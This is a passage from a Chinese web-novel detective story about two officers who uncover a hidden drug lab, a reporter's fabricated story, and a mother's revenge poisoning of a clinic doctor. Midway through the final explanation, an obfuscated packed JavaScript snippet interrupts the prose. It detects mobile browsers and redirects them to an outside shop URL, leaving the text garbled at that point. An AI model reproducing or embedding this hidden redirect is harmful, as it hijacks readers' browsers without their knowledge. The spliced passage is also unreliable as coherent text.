“这个窗台有点高,我能不能不翻窗户,我会撬锁。”青梧一本正经地道。 青梧倒不是矮,他比予杏还要高出半个头,但他确实是一个文弱的医生,没翻过窗户也不知道该怎么翻。 予杏从没考虑过他会翻不出去的问题,翻不过去可以让斌北把他提进去。但听完他的话之后,予杏也不由的震惊了一秒,然后感慨道: “可以啊医生,多才多艺啊,走,我们去前门撬锁。” 予杏带着青梧毫不犹豫地走了,留下斌北一个人不知所措的站在原地。 “喂,你们有没有在听我说话啊。” 青梧撬锁的手艺不错,一枚曲别针,十秒不到就轻松撬开了门口的挂锁。 再次走进这家诊所,斌北的有些紧张,周围一片漆黑,空气里弥漫着消毒水的气味,几乎什么都看不清楚,恍惚能觉察到高高的点滴架一排排林立,像是随时会移动的怪物一般。 巷子里没什么月光,白天浅蓝色的窗帘现在看起来也是漆黑一片,斌北不敢动弹,在夜色的加持下,这个叫他恐惧的地方格外森然可怖。 “喂,没什么可查的吧,我们走吧。” 予杏从包里拿出两个亮度很低的荧光灯,亮度已经调好了,能看清周身五十厘米的范围,且不会透光出去的亮度。 予杏将灯递给青梧,“走吧。” 青梧点点头拿着荧光灯径直走向了储物间,调查那里的药剂。 斌北也准备跟在他身后一起过去,却被予杏拉住了衣摆,“我们去会诊室。” 问诊室还是和上次来时一样,正中间是一张桌椅,后面是一排四个一米多宽的双排金属档案柜,以及上一次被予杏胡乱塞回去的档案。 斌北往墙上巨大的黄金旗靠了靠,他虽然不信奉宗教,但是这时候看见这些宗教物品,心中也会产生一丝慰藉。 “这是什么宗教啊?” “黄金教,他们的教义简单翻译一下就是,多多敛财,有备无患。” “哦,话说这里有什么好查的,上次你不是都拍过照了吗?” “嗯,所以我觉得有点不对劲。” “有什么不对劲的?” “上次来,一走进这个诊所我就有种感觉,我感觉,这个地方比我想象的要小了一点。” “你想象中?那又怎么了,很多建筑都是这样的啊,就像各种景点从外面看着挺大的,走进去一看也两步路到头了。” 予杏:“......” 予杏没理会他,独自走到档案柜的前面,一连并排摆放着的四排档案柜,里面乱七八糟的堆着上次予杏胡乱塞进去的各种资料。 “我看过所有的文件资料,其中有很多都是重复的,第一个档案柜里的资料,在第四个档案柜里重复出现了。” “那又怎么样,可能想多复制几份以防弄丢了啊。” “不是,我觉得他是想要让这四个柜子不要显得那么突兀才这么做的。” “啊?” “诊所的文件根本放不满四个柜子,那么弄这么多柜子在这里做什么?我怀疑这后面还有空间,斌北麻烦把这个四个柜子都搬开,一个一个的搬,声音要小,最好不要发出声音。” “你认真的?这柜子的高度还不到两米,如果后面有门它也挡不住啊,而且从扼佼租下这间诊所起居委会那边从来没有收到过改装申请,不可能的。” “......”予杏看着斌北不说话,斌北这次没有说什么,他也挺直背看着予杏,不搬柜子也不说话。 十秒钟后,予杏放弃了,他轻轻的开口道, “也不一定是门,如果这一整面墙都是假的呢,据我推测这里面前的上部是一道十五到三十厘米左右的系梁,以系梁为起点,用白色的带粉刷感的墙布从头贴到脚,在前面摆上四个柜子做遮掩,就好像凭空多出一面墙来了。” “他不需要开什么门,只要在墙布上割开一个口子就能进出了,这个口子应该就在这个几个柜子的某一个可拆卸的挡板后面,但是我们时间有限,直接搬开应该更快,就是这样,现在你可以搬了吗?” 一整面都是墙纸? 斌北瞠目结舌不知道是真是假,他呆然地道了一声,“......哦。” 斌北缓缓走到一个柜子前,轻手轻脚的挪开柜子,柜子倒是不重甚至比他平时举的杠铃还要轻一点。 搬开一个柜子之后,斌北悄悄的用手指戳了戳柜子背后的墙壁,然后震惊的发现那道看着真的不能再真的墙壁居然真的是软的。 斌北搬开第二个柜子的时候,就有了发现,在柜子背面的下半部分有一个不大不小的洞口,里面黑漆漆的不知道通向何方。 予杏点点头,“可以了,你在外面等一下,我进去看看。” 斌北没有反对,虽然觉得很危险不是很放心予杏一个人去,但是他的体型应该是钻不进去的。 予杏将手里的荧光灯留给了斌北,自己先探头进去看了一眼,确定没有任何窗户之后,从口袋里拿出一瓶矿泉水瓶装的稀释过的牛奶溶液,用手电筒将光打在瓶底,制造出比荧光灯更亮一点的光源。 钻进这个空间之后,自己的准备有点多余,扼佼在墙布的背面涂抹了吸光涂料,就算是直接用手电照明,光线也不会透出去太多。 “喂,里面怎么样?”斌北贴着墙纸小声的询问。 这个空间不大,大约六到八个平方米左右,放着一张简易的单人床和一个桌子,桌子上堆满了烧瓶和一些制药常用的器材。 予杏看着桌子上贴着标签的溶剂利他林,□□...最后在一个不起眼的小瓶子上看见了XXL128,果然和自己猜测的一样。 外面找不到XXL128,医药协会里找不到他的申请,所以他是自己制造出的这种药剂。 他在大学里学的专业也不是中医,扼佼诊所里中药的销量低迷,也闻不见中药的苦涩气味,那时候予杏就开始怀疑了。 “喂,你怎么不说话啊。”外面的斌北紧张的提高了一点音量问道。 “去喊一下青梧,这里有重大发现。” “喊我吗?” 青梧已经检查完了储物间,听见予杏的声音就慢慢的从那个洞孔钻了过来。 本就狭窄的空间瞬间变得拥挤,好在予杏还能转身,他将手里的药瓶递给青梧,“这个是XXL128吧?” 青梧接过小瓶子立刻在坐下利用房间里的设备开始检测,过了大约十分钟左右,他站了起来肯定的对墙角的予杏点点头, “是XXL128没错,但和医药协会那边的不一样,似乎有被改制过。” “看起来扼佼就是在这里合成的XXL128,他毕业于木卫第三医药大学,学的应该不是他自称的中药学,而是药剂学之类的专业,如果没有猜错的话,他应该是研发XXL128这种药剂的成员之一。” “那么合理的推测是他利用这种药剂做了什么,然后被杨程发现了。” “这种药剂虽然是升压药,但是既然能制幻,那在黑市上应该有销路。” 青梧:“所以扼佼制造药剂是为了求财?” “嗯,我猜应该是这样,但是令人疑惑的是,他是怎么说服杨程服下XXL128的?我看过杨程的体检报告他不需要使用升压药才对。” 予杏环顾房间一周继续道:“而且只是有概率致人死亡,扼佼怎么就能确定他可以让杨程永远闭嘴,还有就是最重要的一个问题,扼佼人现在在哪里。” 予杏看着桌子上的仪器,“除了升压药,这里还有其他可疑的药剂吗?” “他的瓶子上没有全贴上标签,其他的我得拿回去测试一下。” 7. 第 7 章 七月二十七日 案发后第八天 予杏刚抵达警局斌北就匆匆忙忙的冲了过来,手里还拿着今天的报纸。 “不好了予杏,大事不好了。” “我知道。” 予杏今天早上起来之后就看过报纸了。 记者取了一个很惊悚的标题,“夜访实验室,荒楼迷案另有隐情’ 文章大致讲述了予杏以及斌北两个人负责调查烂尾楼迷案的警察,夜半出现在废弃实验室中然后从实验室里带出了一名医生,疑似与案情大有关联,作者认为就是医生制造的无名怪物引发了那场迷案。 文章之中还配了图,拍摄角度遮盖掉了诊所的名字,而所谓被他们逮捕的医生就是来帮忙的青梧医生。 予杏面无表情的抓着报纸的一角,认真的问道: “为什么?” “什么为什么?” “我们是从医院出发的,开的车是我的私人用车,停在一个餐厅门口,为什么那个记者可以确定我们是警察,并且知道我们在追踪这个案子。” “对哦,为什么,难道那个记者认识我们?”斌北后知后觉的道。 “虽然媒体一直在关注这个案子,但是警局也做了不少保密工作,在此之前的报纸一次也没有刊登过关于办案警察的信息,昨天白天我们基本都青梧的会诊室没有出门,根本没有来过警局,也就是说他正巧猜到我们是警察,正巧在昨天盯上了我们,正巧知道我们的行踪,正巧一路在我们离开那件诊所的时候路过那附近,还刚好三更半夜的带着摄像机?” 予杏顿了顿继续道:“一般来说会有这么多的巧合吗?” 斌北双目无神的看着予杏,明眼人一看就知道他又在神游,听见予杏问自己斌北反应了一会儿斟酌着道: “那会不会是那个记者认得警车?” “我们两次去现场开的都是我的车,我不认为他会怀疑那是警车。” “为什么?前几年改制之后车牌不都一样了吗?” “......” 予杏不想说话,如果一个人开的是高奢跑车那么一般人的第一反应,应该不是:里面坐着两个办案的警察。 对于予杏的沉默寡言斌北已经习惯了,他叹了口气, “害,想这些做什么,这些很重要吗?” “很重要,我们得去见一见这个记者。” “你们哪都不许去。” 一声呼和,予杏和斌北齐齐朝着声音的来源看去,就见局长气的胡子都翘起来了。 予杏和斌北:“......” 完蛋了。 “我才刚跟你们两个好好谈过,这才几天,你们又给我闯祸,现在怎么办?媒体现在是天天盯着我们警局,全市的市民都吵着要我们警局给个交代,我现在拿什么给他们交代啊,事情闹的这么大,我现在都不知道该怎么收场的。” “你们这两天就消停消停吧,停职一周,这周你们先别来警局了,等风波平息下去了你们再继续调查。” 斌北和上次一样低着头不敢说话,予杏却在听说要暂停调查之后面无表情的站了起来,低头看向局长道: “你原先准备给他们什么交代,压制舆论,封锁消息,等待第一阶段调查期满直接封存档案,将这件事情作为悬案草草了结?” 斌北惊呆了,猛的侧头去看,予杏的脸上挂着他熟悉的皮笑肉不笑。 予杏的眼睛黑洞洞的像是看不见底的深渊。他的语气是那么的肯定就像是会使用什么远古的巫术,早就洞察了局长的心思一样言之凿凿。 予杏的身上迸发出一种和平时截然不同的上位者气势,他看向局长的眼神像是再看自己的下属,或者说像在看路边不值一提的蝼蚁一般。 而被他盯着的局长缓缓的,局促不安的从位置上站了起来,依仗着身高俯视予杏企图找回一点信心,但他一开口略显心虚的声音还是暴露了他内心的不安。 “你,我也是为了警局的名声着想,我们不能在扩大事情的影响力了,现在这么多人都盯着这个案子呢,万一我们调查错了,或者引起了群众的恐慌该怎么办。” “是非功过,利好对错,等案子结束之后再说,现在我们需要的是真相。” “你们就不能再拖一拖吗?我已经给邻市的大主教打过电话了,她说这两天就会启程来中心市的,等她一到中心市,你们拿出什么真相来我都没有意见。” 予杏好像听到什么很好笑的事情一样, “大主教?哈哈。”他虽然笑了,压迫感却越发沉重,语气也格外犀利, “中心市的警察不允许有宗教信仰的,但总有些警察,他们办案的时间长了,案子接触的多了,慢慢的就变得愈发迷信起来,你知道这是为什么吗?” “因为他们无能。” 办公室里诡异的沉默。 局长的脸涨的青紫:“你敢这么和我说话,你就不怕我辞退你吗?” 予杏:“辞退我,理由呢?” 局长:“理由?你不服从命令,顶撞上司!这就是理由。” 予杏:“第一,我的工作是为本地一定范围内的案件寻找真相,你的命令是让我停止工作,你的命令并不合理,根据中心市现行法律,我有权拒绝。” “第二,顶撞上司,警局并非普通企业,依照法律警员有权拒绝上司不合理的要求,我的言论并非顶撞,你的心理承压能力太低了,我甚至开始怀疑你是怎么通过警察考试的。” 局长:“你...好好好,就按你说的,我可以联系你们那个案子的受害者,叫安是吧,让她来写一份纸质的暂停调查申请怎么样。” 予杏:“安女士?她可没这个权利,你搞错了吧,领导,我们现在在追查的是e的下落,如果你能联系到扼佼的家属来写申请,我到也不是不能接受。” 局长:“......” 局长咬牙切齿,“好,行,算你狠。” 等局长拿着报纸转身离开了办公室,等局长的脚步声渐渐听不见了后,斌北看着予杏的背影发出一声巨大的“我靠,你不想混了?” “权宜之计,我没空跟你解释无聊的事情,我有不好的预感。” “难道说你觉得扼佼会逃跑?我们上次去诊所的时候他就发现我们了,为了拖延我们的抓捕故意找记者把事情闹开?” “...可能吧。” 找扼佼很难,但是找一家报社的正式员工还是很快的,下午三点予杏就在警局的会议室里见到了那名记者。 此时瑞达达的表情非常镇定,甚至有些兴奋,他大大咧咧地拉开椅子坐在斌北的对面。 瑞达达努力端出架子道: “警察找我干嘛?我什么都没做过,什么都不知道。” “是谁告诉你我们会在那天晚上出现在那个诊所的?” “没人告诉我啊,我就是晚上吃饱了饭在那边瞎晃,然后正好看见了,就顺手拍下来了,就这么简单。” “你大晚上出门瞎晃悠还带摄像机啊,你糊弄我呢。” “我就带着摄像机怎么了,哪条法律规定我晚上出门散步不能带相机?” “那你是怎么知道我们就是调查烂尾楼案子的警察的?你认识我们吗?” “哎呀,这可稀了奇了,两位的证件照不就在警察大厅里放着吗,我猜你们就是办那个案子的警察,我运气好,一下就猜中了。” “你什么时候来过警署?” “我没来啊,我有个朋友最近来过,他跟我说的。” “......” 简直就是信口开河,斌北眼看问不出什么来,求助的后头去看从刚才就一直倚在会议室的墙壁上一眼不发的予杏。 “新人记者想要出头是得冒着风险去搞一些大案子的。” “你说什么?” “你听说过‘人面鲛’吗?” “好像在诡怪杂志上看见过,我的同事看见了还挺害怕的,都觉得可能是真的,警官先生难道你要说这起案子是‘人面鲛’干的吗?” “无神论者?” “对,我是无神论者。” “当然,事实上我们现在认定就是‘人面鲛’干的,一个医生操控了它。” “哈哈哈哈,警官你们是这么想的吗,哦,那一定是‘人面鲛’干的没错,愿万能的神明保佑你们?” “你似乎追踪这个案子很久了,还有我们不知道的情报,可以的话,能请你给我们提供一些你认为的‘人面鲛’的侧写吗?” 瑞达达情绪被调动起来,他眼神飘忽一下,饶有兴趣的道: “侧写,我想想,她大概一米七左右,身材臃肿,带着一副墨镜方便她在晚上能看清太阳哈哈哈,”笑够了之后继续道:“另外,我想想她应该背后有双翅膀,长着蛇的脑袋,说话油腔滑调的方便她戏弄万能的神,哈哈哈。” “很好,谢谢你的配合,你可以走了,当然走之前把你口袋里的录音设备留下,我想在上衣左侧的口袋里。” 瑞达达瞬间笑不出来了,好不容易有这么一个机会,他一定要带着录音回去,能不能扬名立万就看这一次了。 瑞达达飞快地扫向会议室大门的方向,准备找准时机看能不能冲出去。 可惜这里是警局,警察可能脑子不太好使,但是身体素质是不差的,瑞达达才刚一动身,就被斌北一个扭身抓住,一下就从他的口袋里摸出了录音笔。 瑞达达傻眼了,凭借这个案子扬名立万的梦想破灭了。 将骂骂咧咧的瑞达达送出警局之后,斌北跑回会议室看着坐在椅子上沉思的予杏迫不及待地问道:“你发现什么了吗?” 予杏闭了闭眼睛,“他没有直接和扼佼接触过,现在我们去找一个□□人士,他应该身材高瘦,带着眼镜,他们的帮派徽章应该是蛇的头带着有翅膀。” “真的假的啊。” “真的,快去。” 予杏交代完,目送斌北快跑着离开了会议室之后,予杏靠着墙闭上眼睛,过了一会儿他看了看自己放在会议室桌上的那本书。 《李与黎明剑》 予杏喃喃自语, “不是断剑而是钥匙,这样啊,那必须得赶紧找到他才行。” 两天后 七月三十一日 案发后第十二天 不好的预感果然成真了, 今天凌晨扼佼被发现昏倒到安康路附近一处废弃建筑的地下室里,这栋老旧的商业大楼半年以前就被预定拆除了,但因为市政府的事情太多,一直延误到现在也没开始动工。 发现人是一名电器修理工,他的因为帮雇主寻找偷电的位置一路顺着电线找到了这里。发现扼佼的时候他正昏倒在房间的小桌子上,双眼翻白但还有呼吸。 发现他的电工立刻拨打了求救电话,好在第一人民医院应城南警察总局的邀请这两天在这片区域做医疗应急演习,有大量的救护车在附近演习,所以很快就将人送去了距离最近的三甲医院,也就是第一人民医院。 斌北赶到现场的时候已经有大批的记者围在这里了,他们在案发现场里来回走动,地下室里水泄不通,要不是斌北身强力壮都不一定能挤进房间里。 他终于走到房间中心的时候,忍无可忍的站在唯一的桌子上大吼了一声: “都给老子滚出去。” 另一边的医院里 扼佼什么都感觉不到,周身是一片黑暗,一阵剧烈的疼痛唤醒了他,被刺激地不得不睁开浑浊的眼睛,一到强烈炫目的白色灯光直直照射在他的脸上。 耳边伴随着嗡鸣,传来一声声遥远的呼唤,“听的见吗?清醒一点。” 护士站在病床边摒住了呼吸。 刚刚她亲眼看见青梧医生毫不犹豫的将副作用较小的刺激性药物注射患者的体内,这是他们常用的唤醒药剂,通常5毫克的计量就足够高烧到昏迷的患者刺激醒来了,50毫升的计量她都不敢想象得有多疼。 很快青梧医生的胳膊上出现了和患者一样大小的针眼,因为疼痛他的手臂控制不住的轻微颤抖,但是青梧医生的声音还是那么镇定。 “这是抗菌药物,主要成分是碳青霉烯,请你保持镇定,我将要给你注射这种药物,你能理解吗?” “呜呜呜...” 护士在一边紧张的揪紧了自己的衣摆,她不确定病患发出这样的声音是明白了自愿接受注射,还是单纯因为浑身难受而发出的反射性呻吟。 但是青梧医生已经将针头扎进患者的手臂了,护士死死的盯着青梧医生手臂的相同位置,幸好,万幸,青梧医生的手臂上并没有出现针眼,病人理解并接受了注射,青梧医生会没事的。 予杏赶到医院的时候,急救已经结束了。 青梧颓废的坐在急症室门口的地上,他双手抱着头,其中一只胳膊还在不住的轻微颤抖。 “怎么样?” 青梧苦笑一声,“本来已经救回来了。” 护士轻声的安慰道:“这不能怪医生,是并发症导致他休克身亡的,青梧医生你已经尽全力了。” “可是最终我没能救回他。” “这也是没办法的事情啊,而且是他自己要自杀的,要我说这种人就没有救他的必要。” 予杏沉默了,不是无话可说,而是不知道该说什么好。 青梧虚弱地仰头对予杏道:“抱歉,看来帮不到你们了。” 予杏:“应该抱歉的是我,你该去休息了。” 围绕着这起案件的新闻本还算正常,都是一些 ‘通缉犯‘人面鲛’的控制者死在家中’这种大肆炒作的话题,警局对此保持了沉默,但对外宣传了大主教即将抵达中心市的消息。 某种程度上也是默认了这种说法,媒体的矛头没有对象警局倒是直指市政府私下进行无良实验,制造怪物。 但是很快,另一则报道登上了头版头条:‘无良警察逼死无辜医生’ 报道中称记者在案发现场发现了扼佼的遗书,遗书中写明他并不是杀害杨程的凶手,他因为被警察通缉,错认为是嫌犯所以非常懊恼,只能以死明志。 此报道一出,立刻又引起了轩然大波,局长最担心的事情还是发生了,民众对于警方的信服度大降,甚至有人拉上横幅在警局的门口示威,要求他们出面道歉。 从医院离开之后予杏直奔警局, 局长坐在办公室里看着楼下的人群焦头烂额,好在予杏的车出现在了视野里。 予杏停好车,还是那副镇定的自若,面无表情的样子。后座上下来两个人跟在予杏的身后。 予杏迎着人群走到警局的大门口,拿着一个喇叭,一份报纸一份会诊记录的影印文件。 “这是扼佼诊所里取出来的扼佼本人手写的一份药品申请清单,上面有盖上扼佼本人以及医药协会的签章,可以通过编号在医药协会中查询到,这两位是本市的鉴定专家,现在我们请他们现场比对,扼佼诊所里的药品申请单上的字迹,和报纸上刊登的遗书笔迹是否一致。” 现场瞬间安静了下来。 “我们凭什么相信那两个专家是真的?” “第一,他们来自专业机构,持有专业证书,你凭什么说他们是假的,第二,虽然我一向不喜欢和蠢货说太多,但是这位先生,根据本市行政法规,企图阻碍公共执法人员办案者,罚一日拘留,警察局的门就在我身后,你自己进去吧。” “......” 发声者没有再说话也没有动,他们在宗教的庇护下做惯了这种‘顺应民心’的活动,警局从来都只有挨骂的份,还是头一次摆出这么强硬的态度。 他不敢再说什么,只是在予杏的目光移开之后悄悄的遁入人群之中匆忙离开了现场,此时现场也安静了下来。 予杏扫视一眼全场:“如果没有人有意见的话,我们可以开始鉴定了。” “那边的媒体。” “我?”举着摄像头的小哥指了指自己的鼻子。 “对,你们走近一点,认真拍。” 然后请了另外几家媒体现场报道,并对那个刊登不实信息的报社大加批评,予杏拿出了一系列那家报社报道不实信息的历史证据,将舆论的风口从警局以及这件案子暂时转移到了发出新闻的那家报社。 中心市保险公司 办公室内 优雅的老妇人捏着老花镜翻阅今天的报纸。 “哎呀,这是哪个无聊的报社写的报道?” “城南里报社,据说他们以前是出版灵异杂志的。” “初出茅庐的新人想哗众取宠,不过真是不小心,碰到了不能碰的人。” “你是说予杏警官吗?其实上一次我和见面的时候总觉得在哪里见过他。” “你还记得他?其实你们应该只见过一次才对,就在去年我们一起乘坐的那艘游轮上。” “我想起来,他来自家族是吗?” “是啊,每个城市都有自己的规则,唯独家族和教会监管组织是盘踞在世界之上的两只怪物。” “他为什么会去做警察?” “不知道,他一向肆意妄为的主,想做什么就做什么。” “那我们是不是找个时间去拜访他?” “算了吧,他懒得应付我们,只会嫌我们麻烦。” “他看上去不像那种人呢。” “但他实质上就是这种人。” 警局的事情刚告一段落予杏立刻前往了扼佼被发现的那个小屋。 予杏一进去就不由顿了顿脚步,一脸无语地看了看站在门口的斌北, “现场怎么会这么乱?” “记者来的比我们早多了,他们在网上对这个案子发出了悬赏,能提供素材的就给予高额的奖金。” “我们警局没有悬赏吗?” “有啊,但是没有他们多,第一发现人那个电工第一时间就联系记者了,后来想起来了才通知我们警局。” 予杏叹了口气,实在是无话可说,干脆闭上嘴开始观察案发现场。 这个空间很小大十来个平方,里面放着一个冰箱,一对桌椅,一张小窗,没有窗户,只有一个通风口连接着隔壁的卫生间。 看起来应该是扼佼为自己准备的安全屋,他事先就准备好了一旦自己被通缉就躲进这里。 冰箱里的食物很充足,垃圾桶里还有他在附近的安康路大型超市购物的小票,票上记载他购买了大量的罐头食物,数量和冰箱里的完全对的上。 桌上摆着一个肉罐头,罐头吃了一半左右,他就是在这个罐头里投毒,吃下去之后死亡的。 报纸上刊登的遗书并未在现场找到,初步判断是上次那个记者为了报复瞎编出来的。 斌北仔细的在现场转了好几圈,怎么看现场都没有疑点,就是扼佼躲在安全屋里的时候,发现警方正在通缉他于是就吃下来含有毒药的罐头身亡了。 虽然心中已有结论,但是在予杏开口之前他也不敢确信,于是小心翼翼地询问予杏。 斌北:“哎,予杏有什么疑点吗?” “这罐头不能吃了吧,有一股子馊味。” “通缉令发出来也有几天了,天气这么热前两天开的罐头现在肯定就是这样的啊。” “是吗?” “难道你觉得不是?” “......” 予杏看着罐头不说话,斌北也看着罐头也假装若有所思的不说话。 “那个插座好像烧焦了?” “对,我来的时候灯还是亮着的呢,也不知道是不是哪个记者开的,哦不对,这里是地下室,就是白天也该开灯。” “......”予杏无言以对,过了一会儿道,“你能闻到臭味吗?” “闻的到啊,那罐头馊了,肯定能闻的到啊。” “被子上也有臭味。” “没有啊,被子上干干净净的哪有什么臭味,你嗅觉出问题了吧。” 予杏无话可说也不想再和斌北争辩这个问题了,“现场照片呢?死者倒下的位置在哪里?” “啊...” 被问到这个问题,斌北支支吾吾地移开了眼睛。 “...你又忘了。” “...嗯。” 斌北不好意思地点了点头,“你别急,我跟你形容一下,听说他倒在门口,头朝门的这边,仰面朝上,一只手放在胸口,另一只手侧方在身体的一边,他的头稍微向左偏,闭着眼睛呼吸非常微弱。” “...听说?”予杏绝望的闭了闭眼,叹了口气继续道,“他是中毒身亡的,为什么要离开餐桌倒在地上,却不倒在床上?” “额,我也是听说。” “......” 从早上开始空气就闷闷的,天空之上灰黑的乌云密布有一场暴雨正在酝酿。 予杏将车停中央市中心医院的停车场里,他出门的匆忙忘记带一把雨伞了,予杏抬头看了看天空,不知道暴雨什么时候会落下,但还好不是现在。 轻车熟路的敲开了病房的门,安坐在床边,拿着一碗小米粥一勺一勺的给小等喂饭。 “予杏警官你怎么来了?” “你有时间吗?我有一些消息要通知你。” “有空有空,马上来。” 予杏看见安立刻从床边站起来,将碗放在床头柜上,小等躺在床上摇晃着头,好奇的看向自己。 “我们去花园走走吧。” “可以就要下雨了。” “没事,一时半会儿还下不下来。” “安女士你似乎对我的到来并不是很惊讶。” “啊,我在新闻上看见了报道,想不到那个医生就是杀害我先生的凶手。” “所以你算算时间,差不多我们警察该来通知你赔偿金的支取方式了。” “...嗯。”安尴尬的移开目光。 “安女士,我给你带来一个好消息。”予杏叹了口气,“好消息就是扼佼医生没有家人,你不需要支付赔偿金,只要在监狱里服刑一段时间就可以了。” “予杏警官,你在说什么啊,就算扼佼医生没有家人那不应该也是有警局支付这笔赔偿金吗?” “安女士先生是自杀的。” “怎么可能,他怎么可能是自杀的呢,报纸上都说了他是被毒死的。” “可是青梧医生已经验证过了,杨程先生并非死于休克,他生前是服用过升压药,但是用量并不足以致死。” “那刀呢,那天那位警官和我说过现场只有一把凶器,刀上并没有我丈夫的血迹不是吗,那个扼佼也没有理由帮他伪造现场不是吗?” “我看完现场之后立刻就知道他是死于自杀了,因为现场并没有喷溅的血迹,其实很简单,只要使用冰刀就可以了,先在刀身上冻上一层章鱼的蓝血,然后再长长的冻上一截冰刃,十五公分长的匕首就变成了三十五公分长的凶器。” “案发当天杨程先生先请扼佼医生来到烂尾楼,他可能说不要钱,他也想做贩卖私药的买卖,让扼佼留下一些升压药,等医生离开,他服下升压药之后,用冰刀刺死自己,断气之前拔出冰刀让占了自己的血的冰尖部分悬出桌面,然后就跪在桌子前死去。” “现在是三伏天气,冰块很快就会融化了,血混着冰水落在地上和地上的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375922|141006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 融合在一起。虽然天气很热但是混凝土地面的温度不算高血液并不会很快干涸,且杨程特意穿了一身西装,内里是吸水性很差的涤纶材质衬衫,身体倾斜的位置也是方便血水流满地面。” 天空闪过一道亮紫色的雷光,明紫色的雷光闪过,过了好久安女士没有说话,雷声也没有来传达。 予杏叹了口气继续道, “虽然知道他是自杀,那时候我想是他这么拼命的目的应该是为了保险金吧,只要我们警方迟迟不结案,过了期限就会以悬案被封存,保险公司那边就会支付一半的保险金。” “这个计划只要有杨程先生一个人就可以完成了,我本来不打算继续追查下去的,虽然真相很重要,但是我个人是觉得世上还是有比真相更重要的东西的。但是当我发现这个事件中还有另一个人,也就是扼佼医生存在的时候,我很惊讶,我不知道你们将他牵扯进来是为什么?我想了很多可能。” “于是我开始调查扼佼医生,对于他的失踪我倒是不奇怪,一开始我也以为是扼佼医生是他害怕暴露自己背地里做的坏事所以找地方去避风头了。” “当我第一次进入扼佼医生的诊所调查的时候我总觉得有哪里不对,如果他是要去避风头,那么就会把那些资料收拾干净了再走,而不是什么都摊在诊所里。也就是说他很可能在离开烂尾楼之后再也没有回来过,那么他会去哪呢?” 予杏无声的关注着安的神情,她脸色苍白牙齿无意识的咬紧了下唇。 “予杏,予杏警官你盯着我干什么,我,我怎么会知道扼佼他会去哪里。” “你当然知道。” “......” “我不知道杨程在烂尾楼里具体和扼佼说了些什么,不过我猜大抵就是威胁他,宣称会将他的事情全部说出去之类的,受到了威胁的扼佼医生一定会想要躲起来,回到他的安全屋里等着事情平息。我也不知道扼佼医生的安全屋是否一开始就准备了充足的食物,但他的诊所里挂着一面很大的黄金旗,应该信仰黄金教,黄金教的教义教诲他们多多积攒,有备无患,我猜想他可能会去超市做最后一下采买。可能和我抱持一样的想法,那天晚上你在合适的时间抵达了超市,并在门口逗留了很久。” “我,我确实去了超市,但那是因为哪里的商品便宜,还有我之前就住在那附近习惯了在那家超市买东西。” “出于什么理由都可以,我不关心,我这个人很懒,也不会去调查那天是否有折扣。” “继续我们刚刚的进度,到哪了我想想,哦,你在超市的门口等着,直到扼佼也抵达了那家超市,他会选择那家超市是可以预见的,因为扼佼搬来中心市之后,每一次都是在那家超市购物,他喜欢把小票整理好,就挂在诊所收银台的桌角。” “你等到扼佼之后,就一直悄悄的跟在他的身后,假模假样的从货架上拿些其他的东西,毕竟你出门的时候声称自己是出来购物的不能空手而归,另外你可能还佩戴了口罩毕竟扼佼之前见过你,整个过程应该没耗费你多少时间,因为扼佼只采购了打量的罐头食品和一些速食。” “为什么,我为什么要这么做?” “为了实施障眼法。” “什么障眼法?我根本听不懂你在说什么。” “你这样让我很为难,这会打乱我的时间线顺序。” “案发当晚离开超市之后,你继续跟踪扼佼,可能是你躲藏的很好,也可能是因为扼佼觉得这个时候还不会有人跟踪自己完全没有在意,总之你顺利的找到了扼佼的安全屋,然后做了以下几件事情, 第一你用杨程的手机拨通了扼佼的电话,说他想再谈谈,手机信号不好请到信号好一点的地方说之类的引扼佼暂时从安全屋里走出来。 第二,你将安全屋卧室里的食物全部取走,那个安全屋不大,厕所和食物储备区也隔开了,卧室里只有今天刚买的来还没来得及整理的几个罐头而已。 第三,留下一个注射了毒药的罐头以及一张写明里面有毒药的字条。 第四,在电话里告诉扼佼谈崩了,等待毫不知情的扼佼回到自己的卧室从外面将门锁死。 这样就完成了。” “你只要在回到医院,静静的等着扼佼吃下那罐有毒的罐头,然后预计他会中毒死亡之前的时间,稍微提前一点回到现场收拾卫生,留下扼佼在超市买的罐头以及小票就大功告成了。” “你怎知道扼佼就一定会吃下那罐有毒的罐头呢?“ “他一定会吃的,就算扼佼知道那盒罐头有毒,但是人性就是这么不堪一击,他第一次可能只吃了一点点,然后他会一次次的想着,只吃一点没关系的,只一点的话应该不会立刻死掉的,于是他又吃了一口,然后又一口,一点点的吃。可能直到他中毒倒下的时候,他的手上依然握着勺子,懊悔的想着要是刚刚自己只吃半口就好了,就会没事了。” “可我又是怎么让人发现他的呢,那个电工只是碰巧才会发现他倒在那里的吧?” “无论扼佼的尸体什么时候被发现,你都无所谓,反正你想要的只是杀死他而已,你非常的痛恨他啊,青梧说他中的毒是会引发败血症的一种药物,所以你对他的仇恨,是因为你的女儿是吗?” “......” 安沉默了良久, “差不多是去年这个时候吧,不对还得要再晚一点,小等她受了风寒发起了高烧,我和杨程赶紧将孩子送去了扼佼的诊所。” “那天也很晚了,扼佼也是只看了一眼就说让孩子自己注射点药就行,他从架子上拿了一瓶药递给我们,上面没有标签,虽然上面什么都没写,但我们想既然是医生开的应该不会有错的,就感恩戴德的买下了。” “那天孩子一会到家就好一些了,她自个儿回床上睡觉了,我丈夫说,药吃多了会有抗药性,还是少吃比较好。我也这么觉得,所以就将那瓶药放回了药箱里,还自作主张的给药上贴了退烧药的标签。后来孩子又发烧了,我还她爸都不在家,她自己打开药箱将那瓶药注射了进去。” “我们回家看见孩子病了就赶紧带她去诊所,扼佼那个家伙告诉我们去医院他这里看不好,我本来没想什么,但是后来我丈夫说他看见扼佼医生匆匆塞进包里的小瓶子,瓶子上写着Lecc4号病毒溶液,我们在医院问了医生,医生说这种药剂可不可能使用,是用来做临床观察的,含有非常危险的革兰阴性菌。” 